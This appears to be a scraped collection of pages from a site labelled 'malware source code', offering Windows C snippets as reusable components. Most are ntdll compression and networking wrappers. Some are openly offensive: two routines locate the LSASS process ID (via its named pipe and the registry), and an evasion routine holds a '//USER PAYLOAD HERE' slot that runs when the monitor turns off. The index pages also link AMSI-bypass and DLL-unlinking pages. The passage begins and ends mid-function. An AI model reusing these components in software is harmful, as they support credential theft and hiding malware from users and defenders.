UncompressedBuffer, SizeOfUncompressedBufferInBytes, CompressedBuffer, CompressedBufferSizeInBytes, 4096, &FinalCompressedSize, Workspace); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: if (Workspace) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Workspace); return FinalCompressedSize; } [PreviousXpress](https://malwaresourcecode.com/home/compression/xpress) [NextXpressMaximumDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressmaximumdecompressbuffer) Last updated 10 months ago --- # XpressStandardDecompressBuffer | malware source code Copy ULONG XpressStandardDecompressBuffer(_In_ PBYTE CompressedBuffer, _In_ ULONG SizeOfCompressedBufferInBytes, _Inout_ PBYTE DecompressedBuffer, _In_ ULONG DecompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLDECOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG); RTLDECOMPRESSBUFFER RtlDecompressBuffer = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_XPRESS | COMPRESSION_ENGINE_STANDARD; ULONG FinalDecompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlDecompressBuffer = (RTLDECOMPRESSBUFFER)GetProcAddress(hMod, "RtlDecompressBuffer"); if (!RtlDecompressBuffer) goto EXIT_ROUTINE; Status = RtlDecompressBuffer(CompressionFormatAndEngine, DecompressedBuffer, DecompressedBufferSizeInBytes, CompressedBuffer, SizeOfCompressedBufferInBytes, &FinalDecompressedSize); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: return FinalDecompressedSize; } [PreviousXpressStandardCompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressstandardcompressbuffer) [NextXpress Huff](https://malwaresourcecode.com/home/compression/xpress-huff) Last updated 10 months ago --- # Evasion | malware source code [AmsiBypass by Patching (OLD)](https://malwaresourcecode.com/home/evasion/amsibypass-by-patching-old) [Delay execution until monitor off](https://malwaresourcecode.com/home/evasion/delay-execution-until-monitor-off) [Unlink DLL from process](https://malwaresourcecode.com/home/evasion/unlink-dll-from-process) [Sleep Obfuscation (unstable)](https://malwaresourcecode.com/home/evasion/sleep-obfuscation-unstable) [PreviousIERemoveDirectory](https://malwaresourcecode.com/home/proxied-functions/ieremovedirectory) [NextAmsiBypass by Patching (OLD)](https://malwaresourcecode.com/home/evasion/amsibypass-by-patching-old) --- # GetLsaPidFromNamedPipe | malware source code Copy typedef NTSTATUS(NTAPI* NTOPENFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, ULONG, ULONG); typedef NTSTATUS(NTAPI* NTFSCONTROLFILE)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG); typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE); DWORD MpfGetLsaPidFromNamedPipe(VOID) { UNICODE_STRING Pipe = { 0 }; NTOPENFILE NtOpenFile = NULL; NTFSCONTROLFILE NtfsControlFile = NULL; NTCLOSE NtClose = NULL; HMODULE hModule = NULL; IO_STATUS_BLOCK IoBlock = { 0 }; OBJECT_ATTRIBUTES Attributes = { 0 }; DWORD ProcessId = ERROR_SUCCESS; HANDLE hHandle = INVALID_HANDLE_VALUE; NTSTATUS Status = STATUS_SUCCESS; LPSTR InputBuffer = (LPSTR)"ServerProcessId"; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) return -1; NtOpenFile = (NTOPENFILE)GetProcAddress(hModule, "NtOpenFile"); NtfsControlFile = (NTFSCONTROLFILE)GetProcAddress(hModule, "NtFsControlFile"); NtClose = (NTCLOSE)GetProcAddress(hModule, "NtClose"); if (!NtOpenFile || !NtfsControlFile || !NtClose) return -1; RtlInitUnicodeString(&Pipe, L"\\Device\\NamedPipe\\lsass"); InitializeObjectAttributes(&Attributes, &Pipe, OBJ_CASE_INSENSITIVE, 0, NULL); Status = NtOpenFile(&hHandle, FILE_READ_ATTRIBUTES, &Attributes, &IoBlock, FILE_SHARE_READ, NULL); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; Status = NtfsControlFile(hHandle, NULL, NULL, NULL, &IoBlock, FSCTL_PIPE_GET_PIPE_ATTRIBUTE, InputBuffer, (ULONG)StringLengthA(InputBuffer) + 1, &ProcessId, sizeof(DWORD)); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; EXIT_ROUTINE: if (hHandle) NtClose(hHandle); return ProcessId; } [PreviousLsass Related](https://malwaresourcecode.com/home/lsass-related) [NextGetLsaPidFromRegistry](https://malwaresourcecode.com/home/lsass-related/getlsapidfromregistry) Last updated 10 months ago --- # XpressHuffStandardCompressBuffer | malware source code Copy ULONG XpressHuffStandardCompressBuffer(_In_ PBYTE UncompressedBuffer, _In_ ULONG SizeOfUncompressedBufferInBytes, _Inout_ PBYTE CompressedBuffer, _In_ ULONG CompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLCOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, ULONG, PULONG, PVOID); typedef NTSTATUS(NTAPI* RTLGETCOMPRESSIONWORKSPACESIZE)(USHORT, PULONG, PULONG); RTLCOMPRESSBUFFER RtlCompressBuffer = NULL; RTLGETCOMPRESSIONWORKSPACESIZE RtlGetCompressionWorkSpaceSize = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_XPRESS_HUFF | COMPRESSION_ENGINE_STANDARD; ULONG CompressBufferWorkSpaceSize = 0; ULONG CompressFragmentWorkSpaceSize = 0; PVOID Workspace = NULL; ULONG FinalCompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlCompressBuffer = (RTLCOMPRESSBUFFER)GetProcAddress(hMod, "RtlCompressBuffer"); RtlGetCompressionWorkSpaceSize = (RTLGETCOMPRESSIONWORKSPACESIZE)GetProcAddress(hMod, "RtlGetCompressionWorkSpaceSize"); if (!RtlCompressBuffer || !RtlGetCompressionWorkSpaceSize) goto EXIT_ROUTINE; Status = RtlGetCompressionWorkSpaceSize(CompressionFormatAndEngine, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; if (CompressBufferWorkSpaceSize == 0) goto EXIT_ROUTINE; Workspace = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, CompressBufferWorkSpaceSize); if (Workspace == NULL) goto EXIT_ROUTINE; Status = RtlCompressBuffer(CompressionFormatAndEngine, UncompressedBuffer, SizeOfUncompressedBufferInBytes, CompressedBuffer, CompressedBufferSizeInBytes, 4096, &FinalCompressedSize, Workspace); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: if (Workspace) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Workspace); return FinalCompressedSize; } [PreviousXpressHuffMaximumDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffmaximumdecompressbuffer) [NextXpressHuffStandardDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffstandarddecompressbuffer) Last updated 10 months ago --- # LzStandardDecompressBuffer | malware source code Copy ULONG LzStandardDecompressBuffer(_In_ PBYTE CompressedBuffer, _In_ ULONG SizeOfCompressedBufferInBytes, _Inout_ PBYTE DecompressedBuffer, _In_ ULONG DecompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLDECOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG); RTLDECOMPRESSBUFFER RtlDecompressBuffer = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_STANDARD; ULONG FinalDecompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlDecompressBuffer = (RTLDECOMPRESSBUFFER)GetProcAddress(hMod, "RtlDecompressBuffer"); if (!RtlDecompressBuffer) goto EXIT_ROUTINE; Status = RtlDecompressBuffer(CompressionFormatAndEngine, DecompressedBuffer, DecompressedBufferSizeInBytes, CompressedBuffer, SizeOfCompressedBufferInBytes, &FinalDecompressedSize); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: return FinalDecompressedSize; } [PreviousLempel-Ziv](https://malwaresourcecode.com/home/compression/lempel-ziv) [NextLzStandardCompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzstandardcompressbuffer) Last updated 10 months ago --- # GetLsaPidFromRegistry | malware source code Copy typedef NTSTATUS(NTAPI* NTOPENKEY)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); typedef NTSTATUS(NTAPI* NTQUERYVALUEKEY)(HANDLE, PUNICODE_STRING, KEY_VALUE_INFORMATION_CLASS, PVOID, ULONG, PULONG); typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE); DWORD MpfGetLsaPidFromRegistry(VOID) { NTOPENKEY NtOpenKey = NULL; NTQUERYVALUEKEY NtQueryValueKey = NULL; NTCLOSE NtClose = NULL; UNICODE_STRING LsaRegistryPath = { 0 }; UNICODE_STRING LsaValue = { 0 }; OBJECT_ATTRIBUTES Attributes = { 0 }; HANDLE hKey = NULL; NTSTATUS Status = STATUS_SUCCESS; HMODULE hModule = NULL; DWORD LsassPid = ERROR_SUCCESS; UCHAR Buffer[sizeof(KEY_VALUE_INFORMATION_CLASS) * sizeof(DWORD)] = { 0 }; PKEY_VALUE_PARTIAL_INFORMATION ValueObject = (PKEY_VALUE_PARTIAL_INFORMATION)Buffer; DWORD BufferLength = 0; PDWORD dwDispose = NULL; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) goto EXIT_ROUTINE; NtOpenKey = (NTOPENKEY)GetProcAddress(hModule, "NtOpenKey"); NtQueryValueKey = (NTQUERYVALUEKEY)GetProcAddress(hModule, "NtQueryValueKey"); NtClose = (NTCLOSE)GetProcAddress(hModule, "NtClose"); if (!NtOpenKey || !NtQueryValueKey || !NtClose) goto EXIT_ROUTINE; RtlInitUnicodeString(&LsaRegistryPath, L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\Lsa"); RtlInitUnicodeString(&LsaValue, L"LsaPid"); InitializeObjectAttributes(&Attributes, &LsaRegistryPath, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = NtOpenKey(&hKey, KEY_QUERY_VALUE, &Attributes); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; #pragma warning( push ) #pragma warning( disable : 6260) Status = NtQueryValueKey(hKey, &LsaValue, KeyValuePartialInformation, Buffer, (sizeof(KEY_VALUE_INFORMATION_CLASS) * sizeof(DWORD)), &BufferLength); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; #pragma warning( pop ) LsassPid = *(PDWORD)&ValueObject->Data[0]; // = *dwDispose; EXIT_ROUTINE: if (hKey) NtClose(hKey); return LsassPid; } [PreviousGetLsaPidFromNamedPipe](https://malwaresourcecode.com/home/lsass-related/getlsapidfromnamedpipe) [NextGetLsaPidFromServiceManager](https://malwaresourcecode.com/home/lsass-related/getlsapidfromservicemanager) Last updated 10 months ago --- # IPv4IpAddressStructureToString | malware source code Copy typedef PSTR(NTAPI* RTLIPV4ADDRESSTOSTRINGA)(PIN_ADDR, PSTR); #pragma warning( push ) #pragma warning( disable : 6101) BOOL ConvertIPv4IpAddressStructureToStringW(_In_ PIN_ADDR Address, _Out_ PWCHAR Buffer) { #pragma warning( pop ) RTLIPV4ADDRESSTOSTRINGW RtlIpv4AddressToStringW = NULL; HMODULE hModule = NULL; WCHAR DisposeableObject[32] = { 0 }; if (Buffer == NULL) return FALSE; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) return FALSE; RtlIpv4AddressToStringW = (RTLIPV4ADDRESSTOSTRINGW)GetProcAddress(hModule, "RtlIpv4AddressToStringW"); if (!RtlIpv4AddressToStringW) return FALSE; RtlIpv4AddressToStringW(Address, Buffer); RtlIpv4AddressToStringW = NULL; return TRUE; } #pragma warning( push ) #pragma warning( disable : 6101) BOOL ConvertIPv4IpAddressStructureToStringA(_In_ PIN_ADDR Address, _Out_ PCHAR Buffer) { #pragma warning( pop ) RTLIPV4ADDRESSTOSTRINGA RtlIpv4AddressToStringA = NULL; HMODULE hModule = NULL; WCHAR DisposeableObject[32] = { 0 }; if (Buffer == NULL) return FALSE; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) return FALSE; RtlIpv4AddressToStringA = (RTLIPV4ADDRESSTOSTRINGA)GetProcAddress(hModule, "RtlIpv4AddressToStringA"); if (!RtlIpv4AddressToStringA) return FALSE; RtlIpv4AddressToStringA(Address, Buffer); RtlIpv4AddressToStringA = NULL; return TRUE; } [PreviousNetworking](https://malwaresourcecode.com/home/networking) [NextIPv4IpAddressUnsignedLongToString](https://malwaresourcecode.com/home/networking/ipv4ipaddressunsignedlongtostring) Last updated 10 months ago --- # Xpress Huff | malware source code [XpressHuffMaximumCompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffmaximumcompressbuffer) [XpressHuffMaximumDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffmaximumdecompressbuffer) [XpressHuffStandardCompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffstandardcompressbuffer) [XpressHuffStandardDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffstandarddecompressbuffer) [PreviousXpressStandardDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressstandarddecompressbuffer) [NextXpressHuffMaximumCompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffmaximumcompressbuffer) --- # XpressStandardCompressBuffer | malware source code Copy ULONG XpressStandardCompressBuffer(_In_ PBYTE UncompressedBuffer, _In_ ULONG SizeOfUncompressedBufferInBytes, _Inout_ PBYTE CompressedBuffer, _In_ ULONG CompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLCOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, ULONG, PULONG, PVOID); typedef NTSTATUS(NTAPI* RTLGETCOMPRESSIONWORKSPACESIZE)(USHORT, PULONG, PULONG); RTLCOMPRESSBUFFER RtlCompressBuffer = NULL; RTLGETCOMPRESSIONWORKSPACESIZE RtlGetCompressionWorkSpaceSize = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_XPRESS | COMPRESSION_ENGINE_STANDARD; ULONG CompressBufferWorkSpaceSize = 0; ULONG CompressFragmentWorkSpaceSize = 0; PVOID Workspace = NULL; ULONG FinalCompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlCompressBuffer = (RTLCOMPRESSBUFFER)GetProcAddress(hMod, "RtlCompressBuffer"); RtlGetCompressionWorkSpaceSize = (RTLGETCOMPRESSIONWORKSPACESIZE)GetProcAddress(hMod, "RtlGetCompressionWorkSpaceSize"); if (!RtlCompressBuffer || !RtlGetCompressionWorkSpaceSize) goto EXIT_ROUTINE; Status = RtlGetCompressionWorkSpaceSize(CompressionFormatAndEngine, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; if (CompressBufferWorkSpaceSize == 0) goto EXIT_ROUTINE; Workspace = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, CompressBufferWorkSpaceSize); if (Workspace == NULL) goto EXIT_ROUTINE; Status = RtlCompressBuffer(CompressionFormatAndEngine, UncompressedBuffer, SizeOfUncompressedBufferInBytes, CompressedBuffer, CompressedBufferSizeInBytes, 4096, &FinalCompressedSize, Workspace); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: if (Workspace) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Workspace); return FinalCompressedSize; } [PreviousXpressMaximumDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressmaximumdecompressbuffer) [NextXpressStandardDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress/xpressstandarddecompressbuffer) Last updated 10 months ago --- # XpressHuffStandardDecompressBuffer | malware source code Copy ULONG XpressHuffStandardDecompressBuffer(_In_ PBYTE CompressedBuffer, _In_ ULONG SizeOfCompressedBufferInBytes, _Inout_ PBYTE DecompressedBuffer, _In_ ULONG DecompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLDECOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG); RTLDECOMPRESSBUFFER RtlDecompressBuffer = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_XPRESS_HUFF | COMPRESSION_ENGINE_STANDARD; ULONG FinalDecompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlDecompressBuffer = (RTLDECOMPRESSBUFFER)GetProcAddress(hMod, "RtlDecompressBuffer"); if (!RtlDecompressBuffer) goto EXIT_ROUTINE; Status = RtlDecompressBuffer(CompressionFormatAndEngine, DecompressedBuffer, DecompressedBufferSizeInBytes, CompressedBuffer, SizeOfCompressedBufferInBytes, &FinalDecompressedSize); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: return FinalDecompressedSize; } [PreviousXpressHuffStandardCompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffstandardcompressbuffer) [NextNetworking](https://malwaresourcecode.com/home/networking) Last updated 10 months ago --- # LzMaximumDecompressBuffer | malware source code Copy ULONG LzMaximumDecompressBuffer(_In_ PBYTE CompressedBuffer, _In_ ULONG SizeOfCompressedBufferInBytes, _Inout_ PBYTE DecompressedBuffer, _In_ ULONG DecompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLDECOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG); RTLDECOMPRESSBUFFER RtlDecompressBuffer = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM; ULONG FinalDecompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlDecompressBuffer = (RTLDECOMPRESSBUFFER)GetProcAddress(hMod, "RtlDecompressBuffer"); if (!RtlDecompressBuffer) goto EXIT_ROUTINE; Status = RtlDecompressBuffer(CompressionFormatAndEngine, DecompressedBuffer, DecompressedBufferSizeInBytes, CompressedBuffer, SizeOfCompressedBufferInBytes, &FinalDecompressedSize); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: return FinalDecompressedSize; } [PreviousLzStandardCompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzstandardcompressbuffer) [NextLzMaximumCompressBuffer](https://malwaresourcecode.com/home/compression/lempel-ziv/lzmaximumcompressbuffer) Last updated 10 months ago --- # XpressHuffMaximumDecompressBuffer | malware source code Copy ULONG XpressHuffMaximumDecompressBuffer(_In_ PBYTE CompressedBuffer, _In_ ULONG SizeOfCompressedBufferInBytes, _Inout_ PBYTE DecompressedBuffer, _In_ ULONG DecompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLDECOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG); RTLDECOMPRESSBUFFER RtlDecompressBuffer = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_XPRESS_HUFF | COMPRESSION_ENGINE_MAXIMUM; ULONG FinalDecompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlDecompressBuffer = (RTLDECOMPRESSBUFFER)GetProcAddress(hMod, "RtlDecompressBuffer"); if (!RtlDecompressBuffer) goto EXIT_ROUTINE; Status = RtlDecompressBuffer(CompressionFormatAndEngine, DecompressedBuffer, DecompressedBufferSizeInBytes, CompressedBuffer, SizeOfCompressedBufferInBytes, &FinalDecompressedSize); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: return FinalDecompressedSize; } [PreviousXpressHuffMaximumCompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffmaximumcompressbuffer) [NextXpressHuffStandardCompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffstandardcompressbuffer) Last updated 10 months ago --- # XpressHuffMaximumCompressBuffer | malware source code Copy ULONG XpressHuffMaximumCompressBuffer(_In_ PBYTE UncompressedBuffer, _In_ ULONG SizeOfUncompressedBufferInBytes, _Inout_ PBYTE CompressedBuffer, _In_ ULONG CompressedBufferSizeInBytes) { typedef NTSTATUS(NTAPI* RTLCOMPRESSBUFFER)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, ULONG, PULONG, PVOID); typedef NTSTATUS(NTAPI* RTLGETCOMPRESSIONWORKSPACESIZE)(USHORT, PULONG, PULONG); RTLCOMPRESSBUFFER RtlCompressBuffer = NULL; RTLGETCOMPRESSIONWORKSPACESIZE RtlGetCompressionWorkSpaceSize = NULL; HMODULE hMod = NULL; NTSTATUS Status = STATUS_SUCCESS; USHORT CompressionFormatAndEngine = COMPRESSION_FORMAT_XPRESS_HUFF | COMPRESSION_ENGINE_MAXIMUM; ULONG CompressBufferWorkSpaceSize = 0; ULONG CompressFragmentWorkSpaceSize = 0; PVOID Workspace = NULL; ULONG FinalCompressedSize = 0; hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RtlCompressBuffer = (RTLCOMPRESSBUFFER)GetProcAddress(hMod, "RtlCompressBuffer"); RtlGetCompressionWorkSpaceSize = (RTLGETCOMPRESSIONWORKSPACESIZE)GetProcAddress(hMod, "RtlGetCompressionWorkSpaceSize"); if (!RtlCompressBuffer || !RtlGetCompressionWorkSpaceSize) goto EXIT_ROUTINE; Status = RtlGetCompressionWorkSpaceSize(CompressionFormatAndEngine, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; if (CompressBufferWorkSpaceSize == 0) goto EXIT_ROUTINE; Workspace = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, CompressBufferWorkSpaceSize); if (Workspace == NULL) goto EXIT_ROUTINE; Status = RtlCompressBuffer(CompressionFormatAndEngine, UncompressedBuffer, SizeOfUncompressedBufferInBytes, CompressedBuffer, CompressedBufferSizeInBytes, 4096, &FinalCompressedSize, Workspace); if (Status != STATUS_SUCCESS) goto EXIT_ROUTINE; EXIT_ROUTINE: if (Workspace) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Workspace); return FinalCompressedSize; } [PreviousXpress Huff](https://malwaresourcecode.com/home/compression/xpress-huff) [NextXpressHuffMaximumDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffmaximumdecompressbuffer) Last updated 10 months ago --- # Networking | malware source code [IPv4IpAddressStructureToString](https://malwaresourcecode.com/home/networking/ipv4ipaddressstructuretostring) [IPv4IpAddressUnsignedLongToString](https://malwaresourcecode.com/home/networking/ipv4ipaddressunsignedlongtostring) [IPv4StringToUnsignedLong](https://malwaresourcecode.com/home/networking/ipv4stringtounsignedlong) [DnsGetDomainNameIPv4AddressAsString](https://malwaresourcecode.com/home/networking/dnsgetdomainnameipv4addressasstring) [DnsGetDomainNameIPv4AddressUnsignedLong](https://malwaresourcecode.com/home/networking/dnsgetdomainnameipv4addressunsignedlong) [GetDomainNameFromIPV4AddressAsString](https://malwaresourcecode.com/home/networking/getdomainnamefromipv4addressasstring) [GetDomainNameFromUnsignedLongIPV4Address](https://malwaresourcecode.com/home/networking/getdomainnamefromunsignedlongipv4address) [SendIcmpEchoMessageToIPv4Host](https://malwaresourcecode.com/home/networking/sendicmpechomessagetoipv4host) [UrlDownloadToFileSynchronous](https://malwaresourcecode.com/home/networking/urldownloadtofilesynchronous) [PreviousXpressHuffStandardDecompressBuffer](https://malwaresourcecode.com/home/compression/xpress-huff/xpresshuffstandarddecompressbuffer) [NextIPv4IpAddressStructureToString](https://malwaresourcecode.com/home/networking/ipv4ipaddressstructuretostring) --- # IsComInitialized | malware source code If CoInitialize has not been called this function returns 0x800401f0 Copy HRESULT CheckComApartment(VOID) { APTTYPE Type; APTTYPEQUALIFIER Qualifier; return CoGetApartmentType(&Type, &Qualifier); } [PreviousComponent Object Model](https://malwaresourcecode.com/home/component-object-model) [NextCoGetEnvironmentVariableW](https://malwaresourcecode.com/home/component-object-model/cogetenvironmentvariablew) Last updated 10 months ago --- # Delay execution until monitor off | malware source code Copy #include "powrprof.h" typedef DWORD(WINAPI* POWERSETTINGREGISTERNOTIFICATION)(LPCGUID, DWORD, HANDLE, PHPOWERNOTIFY); typedef DWORD(WINAPI* POWERSETTINGUNREGISTERNOTIFICATION)(HPOWERNOTIFY); ULONG CALLBACK HandlePowerNotifications(PVOID Context, ULONG Type, PVOID Setting); ULONG CALLBACK HandlePowerNotifications(PVOID Context, ULONG Type, PVOID Setting) { PPOWERBROADCAST_SETTING PowerSettings = (PPOWERBROADCAST_SETTING)Setting; if (Type == PBT_POWERSETTINGCHANGE && PowerSettings->PowerSetting == GUID_CONSOLE_DISPLAY_STATE) { switch (*PowerSettings->Data) { case 0x0: case 0x1: break; case 0x2: { //USER PAYLOAD HERE break; } default: break; } } return ERROR_SUCCESS; } BOOL DelayedExecutionExecuteOnDisplayOff(VOID) { DWORD dwError = ERROR_SUCCESS; HMODULE hLibrary; POWERSETTINGREGISTERNOTIFICATION _PowerSettingRegisterNotification = NULL; POWERSETTINGUNREGISTERNOTIFICATION _PowerSettingUnregisterNotification = NULL; DEVICE_NOTIFY_SUBSCRIBE_PARAMETERS NotificationsParameters; HANDLE hNotificationRegister = NULL; hLibrary = LoadLibraryW(L"powrprof.dll"); if (hLibrary == NULL) goto FAILURE; _PowerSettingRegisterNotification = (POWERSETTINGREGISTERNOTIFICATION)GetProcAddress(hLibrary, "PowerSettingRegisterNotification"); _PowerSettingUnregisterNotification = (POWERSETTINGUNREGISTERNOTIFICATION)GetProcAddress(hLibrary, "PowerSettingUnregisterNotification"); if (!_PowerSettingRegisterNotification || !_PowerSettingUnregisterNotification) goto FAILURE; NotificationsParameters.Callback = HandlePowerNotifications; NotificationsParameters.Context = NULL; if (_PowerSettingRegisterNotification(&GUID_CONSOLE_DISPLAY_STATE, DEVICE_NOTIFY_CALLBACK, (HANDLE)&NotificationsParameters, &hNotificationRegister) != ERROR_SUCCESS) { goto FAILURE; } if (SetThreadExecutionState(ES_AWAYMODE_REQUIRED | ES_CONTINUOUS | ES_SYSTEM_REQUIRED) == NULL) goto FAILURE; while (1) { Sleep(100); } if (hNotificationRegister) _PowerSettingUnregisterNotification(hNotificationRegister); return ERROR_SUCCESS; FAILURE: dwError = GetLastErrorFromTeb(); if (hNotificationRegister) _PowerSettingUnregisterNotification(hNotificationRegister); return dwError; } [PreviousAmsiBypass by Patching (OLD)](https://malwaresourcecode.com/home/evasion/amsibypass-by-patching-old) [NextUnlink DLL from process](https://malwaresourcecode.com/home/evasion/unlink-dll-from-process) Last updated 10 months ago --- # DnsGetDomainNameIPv4AddressAsString | malware source code Copy DWORD DnsGetDomainNameIPv4AddressAsStringW(_In_ PWCHAR DomainName, _Inout_ PWCHAR IPv4IPAddress) { DNS_STATUS Status = ERROR_SUCCESS; PDNS_RECORD DnsRecord = NULL; Status = DnsQuery_W(DomainName, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, NULL, &DnsRecord, NULL); if (DnsRecord && DnsRecord->Data.A.IpAddress != 0) ConvertIPv4IpAddressUnsignedLongToStringW(DnsRecord->Data.A.IpAddress, IPv4IPAddress); if (DnsRecord) DnsRecordListFree(DnsRecord, DnsFreeRecordListDeep); return Status; } DWORD DnsGetDomainNameIPv4AddressAsStringA(_In_ PCHAR DomainName, _Inout_ PCHAR IPv4IPAddress) { DNS_STATUS Status = ERROR_SUCCESS; PDNS_RECORD DnsRecord = NULL; Status = DnsQuery_A(DomainName, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, NULL, &DnsRecord, NULL); if (DnsRecord && DnsRecord->Data.A.IpAddress != 0) ConvertIPv4IpAddressUnsignedLongToStringA(DnsRecord->Data.A.IpAddress, IPv4IPAddress); if (DnsRecord) DnsRecordListFree(DnsRecord, DnsFreeRecordListDeep); return Status; } [PreviousIPv4StringToUnsignedLong](https://malwaresourcecode.com/home/networking/ipv4stringtounsignedlong) [NextDnsGetDomainNameIPv4AddressUnsignedLong](https://malwaresourcecode.com/home/networking/dnsgetdomainnameipv4addressunsignedlong) Last updated 10 months ago --- # GetDomainNameFromIPV4AddressAsString | malware source code Copy BOOL GetDomainNameFromIPV4AddressAsStringW(_In_ PWCHAR IpAddress, _Inout_ PWCHAR DomainName) { WSADATA WindowsSocketData = { 0 }; BOOL bFlag = FALSE; SOCKADDR_IN AddressInformation = { 0 }; if 